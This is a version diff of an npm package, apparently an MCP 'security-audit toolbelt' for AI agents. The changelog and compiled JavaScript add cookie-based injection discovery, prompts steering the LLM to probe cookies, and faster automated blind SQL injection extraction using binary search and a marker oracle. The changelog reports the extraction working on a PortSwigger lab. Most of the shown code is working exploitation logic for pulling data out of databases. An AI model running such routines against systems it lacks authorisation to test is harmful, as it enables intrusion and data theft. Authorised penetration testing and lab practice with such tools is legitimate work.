blitzstrike 2.4.161 → 2.4.163

package/CHANGELOG.md

@@ -5,6 +5,34 @@ All notable changes to Blitz Strike are documented here.
 The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/).
 
+## [2.4.163] — 2026-10-11
+
+### Added — cookie discovery in live_recon (hint-free injection surface)
+
+- `live_recon` now reports cookies as name+value pairs (`cookies` field) parsed
+  from the Set-Cookie header(s), plus a next-step telling the LLM to probe each
+  with `blind_sqli_confirm`/`blind_sqli_extract`. Cookies (e.g. PortSwigger's
+  `TrackingId`) are a first-class injection surface invisible to URL/param scans;
+  this lets the LLM discover a cookie-based blind-SQLi point WITHOUT the lab hint.
+
+## [2.4.162] — 2026-10-11
+
+### Added — binary-search extraction + marker oracle (blind SQLi)
+
+- `blind_sqli_extract` now binary-searches the charset (≈6 requests/char) instead
+  of a full linear scan — via a `>` string-comparison template derived from the
+  `=` template (the trailing `--` already neutralizes the original closing quote).
+  Per-char equality verify + linear fallback keeps case-insensitive collations and
+  special chars correct.
+- Added a `marker` option to `blind_sqli_confirm` + `blind_sqli_extract`: a text
+  that appears ONLY in the TRUE response (e.g. "Welcome back"). The boolean oracle
+  becomes marker-presence — robust against baseline page-size drift (PortSwigger
+  home drifts ~2.6KB between requests, which broke exact byte-count equality).
+  Byte-count fallback is now nearest-reference (closest to TRUE vs FALSE size).
+- Verified end-to-end on a live PortSwigger blind-SQLi lab (TrackingId cookie,
+  PostgreSQL): confirm both channels + extract version="PostgreSQL",
+  database="academy_labs".
+
 ## [2.4.161] — 2026-10-11
 
 ### Added — Cookie injection support (blind SQLi)

package/dist/index.js

@@ -37159,6 +37159,26 @@ function extractParams(urls) {
   }
   return [...params];
 }
+function extractCookieNames(headers) {
+  const sc = headers["set-cookie"] ?? "";
+  if (!sc)
+    return [];
+  const out = [];
+  const seen = new Set;
+  for (const part of sc.split(",")) {
+    const seg = part.trim().split(";")[0].trim();
+    const eq = seg.indexOf("=");
+    if (eq <= 0)
+      continue;
+    const name = seg.slice(0, eq).trim();
+    const value = seg.slice(eq + 1).trim();
+    if (/^[A-Za-z0-9_.-]+$/.test(name) && !seen.has(name)) {
+      seen.add(name);
+      out.push({ name, value });
+    }
+  }
+  return out;
+}
 async function subdomainEnum(domain) {
   const out = new Set;
   try {
@@ -37481,6 +37501,7 @@ async function liveRecon(target, includeActive = false) {
   const allUrls = [...links, ...scripts, ...robots, ...sitemap];
   const crawl = { links, scripts, endpoints: [...new Set(allUrls)], robots, sitemap, count: allUrls.length };
   const params = extractParams(allUrls);
+  const cookies = extractCookieNames(root.headers);
   const [subRes, dnsRes, waybackRes, apiRes] = await Promise.all([
     subdomainEnum(host),
     dnsBrute(host),
@@ -37519,6 +37540,8 @@ async function liveRecon(target, includeActive = false) {
     nextSteps.push(`Found ${crawl.endpoints.length} endpoints — feed them to taint_file/blitz_scan for source analysis, or strike_verify for live validation.`);
   if (params.length > 0)
     nextSteps.push(`Discovered input params: ${params.join(", ")} — these are attack-surface entry points; fuzz them with payload_lookup after scope confirms.`);
+  if (cookies.length > 0)
+    nextSteps.push(`Discovered cookies: ${cookies.map((c) => c.name).join(", ")} — cookies are a first-class injection surface (blind SQLi / XSS / auth) invisible to URL/param scans; probe each with blind_sqli_confirm + blind_sqli_extract (cookie= param).`);
   if (subdomains.length > 0)
     nextSteps.push(`Found ${subdomains.length} subdomains — each is a separate scope surface; enumerate further with fofa_search.`);
   if (dnsFindings.length > 0)
@@ -37545,6 +37568,7 @@ async function liveRecon(target, includeActive = false) {
     suggested_surfaces: surfaces.map((s) => ({ id: s.id, name: s.name, high_value_tests: s.high_value_tests, matched_fingerprints: s.hits })),
     crawl,
     params,
+    cookies,
     subdomains,
     dns_findings: dnsFindings,
     wayback_urls: wayback,
@@ -62486,6 +62510,13 @@ function makeFetcher(base, param, method, bodyTpl, cookieName) {
         return -1;
       }
     },
+    async body(payload) {
+      try {
+        return await (await send(payload)).text();
+      } catch {
+        return "";
+      }
+    },
     async time(payload) {
       const t0 = Date.now();
       await this.size(payload);
@@ -62499,17 +62530,29 @@ async function confirmBlindSqli(baseUrl, param, value, dbms = "mysql", opts = {}
   if (!p)
     return { error: `no blind-SQLi playbook for '${dbms}'`, known: ["mysql", "postgresql", "mssql", "oracle", "sqlite"] };
   const F = makeFetcher(base, param, opts.method ?? "GET", opts.body, opts.cookie);
+  const marker = opts.marker ?? "";
   let boolDiff = false, bt = -1, bf = -1;
   let boolBypass = null;
   const btv = oracleBypassVariants(p.oracle.boolean_true);
   const bfv = oracleBypassVariants(p.oracle.boolean_false);
   for (let i = 0;i < btv.length; i++) {
-    const t = await F.size(`${value}${btv[i]}`);
-    const f = await F.size(`${value}${bfv[i]}`);
-    if (t >= 0 && f >= 0 && t !== f) {
+    const tP = `${value}${btv[i]}`, fP = `${value}${bfv[i]}`;
+    let diff = false, tN = -1, fN = -1;
+    if (marker) {
+      const tb = await F.body(tP), fb = await F.body(fP);
+      diff = tb.includes(marker) !== fb.includes(marker);
+      tN = tb.length;
+      fN = fb.length;
+    } else {
+      const t = await F.size(tP), f = await F.size(fP);
+      diff = t >= 0 && f >= 0 && t !== f;
+      tN = t;
+      fN = f;
+    }
+    if (diff) {
       boolDiff = true;
-      bt = t;
-      bf = f;
+      bt = tN;
+      bf = fN;
       boolBypass = i === 0 ? null : btv[i];
       break;
     }
@@ -62572,22 +62615,37 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
   const F = makeFetcher(base, param, opts.method ?? "GET", opts.body, opts.cookie);
   const getSize = (payload) => F.size(payload);
   const getTime = (payload) => F.time(payload);
+  const getBody = (payload) => F.body(payload);
+  const marker = opts.marker ?? "";
   const maxlen = opts.maxlen ?? 64;
   let channel = opts.channel ?? "boolean";
   const contexts = ["'", '"', "", "')", '")'];
   let ctx = "'";
-  let trueSize = -1;
+  let trueSize = -1, falseSize = -1;
+  let ctxFound = false;
   if (channel === "boolean") {
     for (const c of contexts) {
-      const t = await getSize(`${value}${p.oracle.boolean_true.replace(/^'/, c)}`);
-      const f = await getSize(`${value}${p.oracle.boolean_false.replace(/^'/, c)}`);
-      if (t >= 0 && f >= 0 && t !== f) {
-        ctx = c;
-        trueSize = t;
-        break;
+      const tp = `${value}${p.oracle.boolean_true.replace(/^'/, c)}`;
+      const fp = `${value}${p.oracle.boolean_false.replace(/^'/, c)}`;
+      if (marker) {
+        if ((await getBody(tp)).includes(marker) !== (await getBody(fp)).includes(marker)) {
+          ctx = c;
+          ctxFound = true;
+          break;
+        }
+      } else {
+        const t = await getSize(tp);
+        const f = await getSize(fp);
+        if (t >= 0 && f >= 0 && t !== f) {
+          ctx = c;
+          trueSize = t;
+          falseSize = f;
+          ctxFound = true;
+          break;
+        }
       }
     }
-    if (trueSize < 0)
+    if (!ctxFound)
       channel = "time";
   }
   if (channel === "time") {
@@ -62601,16 +62659,24 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
     }
   }
   const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_/.-:@";
+  const bsCharset = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
   const baseTpl = (channel === "time" ? p.extraction.time : p.extraction.boolean).replace(/^'/, ctx);
   const render = (tpl, pos, ch) => `${value}${tpl.replace(/\{query\}/g, queryExpr).replace(/\{pos\}/g, String(pos)).replace(/\{char\}/g, ch).replace(/\{sec\}/g, "1")}`;
-  const matches = async (tpl, pos, ch) => channel === "time" ? await getTime(render(tpl, pos, ch)) > 600 : await getSize(render(tpl, pos, ch)) === trueSize;
+  const isTrue = async (tpl, pos, ch) => {
+    if (channel === "time")
+      return await getTime(render(tpl, pos, ch)) > 600;
+    if (marker)
+      return (await getBody(render(tpl, pos, ch))).includes(marker);
+    const s = await getSize(render(tpl, pos, ch));
+    return s >= 0 && Math.abs(s - trueSize) <= Math.abs(s - falseSize);
+  };
   const variants = extractBypassVariants(baseTpl);
   let tpl = variants[0];
   let tplBypass = null;
   for (const v of variants) {
     let ok = false;
     for (const ch of charset) {
-      if (await matches(v, 1, ch)) {
+      if (await isTrue(v, 1, ch)) {
         ok = true;
         break;
       }
@@ -62621,18 +62687,31 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
       break;
     }
   }
+  const gtTpl = tpl.replace(/='\{char\}'/, ">'{char}'");
+  const extractChar = async (pos) => {
+    let lo = 0, hi = bsCharset.length - 1;
+    while (lo < hi) {
+      const mid = lo + hi >> 1;
+      if (await isTrue(gtTpl, pos, bsCharset[mid]))
+        lo = mid + 1;
+      else
+        hi = mid;
+    }
+    const ch = bsCharset[lo];
+    if (await isTrue(tpl, pos, ch))
+      return ch;
+    for (const c of charset) {
+      if (await isTrue(tpl, pos, c))
+        return c;
+    }
+    return null;
+  };
   let out = "";
   for (let pos = 1;pos <= maxlen; pos++) {
-    let found = null;
-    for (const ch of charset) {
-      if (await matches(tpl, pos, ch)) {
-        found = ch;
-        break;
-      }
-    }
-    if (found === null)
+    const ch = await extractChar(pos);
+    if (ch === null)
       break;
-    out += found;
+    out += ch;
   }
   out = out.trimEnd();
   return {
@@ -65414,10 +65493,11 @@ ${statusLine}` : statusLine },
       dbms: string2().optional().describe("DBMS for the oracle payloads (mysql | postgresql | mssql | oracle | sqlite; default mysql)"),
       method: string2().optional().describe("'GET' (default) or 'POST' for form/login blind SQLi"),
       body: string2().optional().describe("POST body template with {value} placeholder for the injection point (e.g. 'uname={value}&passwd=admin&submit=Submit')"),
-      cookie: string2().optional().describe("Cookie name if the injection point is a Cookie (e.g. 'TrackingId' — payload injected into the Cookie header value)")
+      cookie: string2().optional().describe("Cookie name if the injection point is a Cookie (e.g. 'TrackingId' — payload injected into the Cookie header value)"),
+      marker: string2().optional().describe("Text that appears ONLY in the TRUE response (e.g. 'Welcome back') — robust oracle for pages whose size drifts; overrides byte-count")
     }
-  }, async ({ base_url, param, value, dbms, method, body, cookie }) => {
-    return { content: [{ type: "text", text: JSON.stringify(await confirmBlindSqli(base_url, param, value, dbms ?? "mysql", { method, body, cookie })) }] };
+  }, async ({ base_url, param, value, dbms, method, body, cookie, marker }) => {
+    return { content: [{ type: "text", text: JSON.stringify(await confirmBlindSqli(base_url, param, value, dbms ?? "mysql", { method, body, cookie, marker })) }] };
   });
   server.registerTool("blind_sqli_extract", {
     title: "Blind SQLi metadata extraction (autonomous)",
@@ -65434,10 +65514,11 @@ ${statusLine}` : statusLine },
       index: number2().optional().describe("Row/table index, 0-based (for tables/columns/data)"),
       method: string2().optional().describe("'GET' (default) or 'POST'"),
       body: string2().optional().describe("POST body template with {value} placeholder"),
-      cookie: string2().optional().describe("Cookie name if the injection point is a Cookie (e.g. 'TrackingId')")
+      cookie: string2().optional().describe("Cookie name if the injection point is a Cookie (e.g. 'TrackingId')"),
+      marker: string2().optional().describe("Text appearing ONLY in the TRUE response (e.g. 'Welcome back') — robust oracle for size-drifting pages")
     }
-  }, async ({ base_url, param, value, dbms, target, channel, table, column, index, method, body, cookie }) => {
-    return { content: [{ type: "text", text: JSON.stringify(await blindSqliExtract(base_url, param, value, dbms ?? "mysql", target, { channel, table, column, index, method, body, cookie })) }] };
+  }, async ({ base_url, param, value, dbms, target, channel, table, column, index, method, body, cookie, marker }) => {
+    return { content: [{ type: "text", text: JSON.stringify(await blindSqliExtract(base_url, param, value, dbms ?? "mysql", target, { channel, table, column, index, method, body, cookie, marker })) }] };
   });
   server.registerTool("oob_start", {
     title: "Out-of-band callback listener (blind SSRF/XXE/SQLi/RCE proof)",

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "blitzstrike",
-  "version": "2.4.161",
+  "version": "2.4.163",
   "description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
   "type": "module",
   "bin": {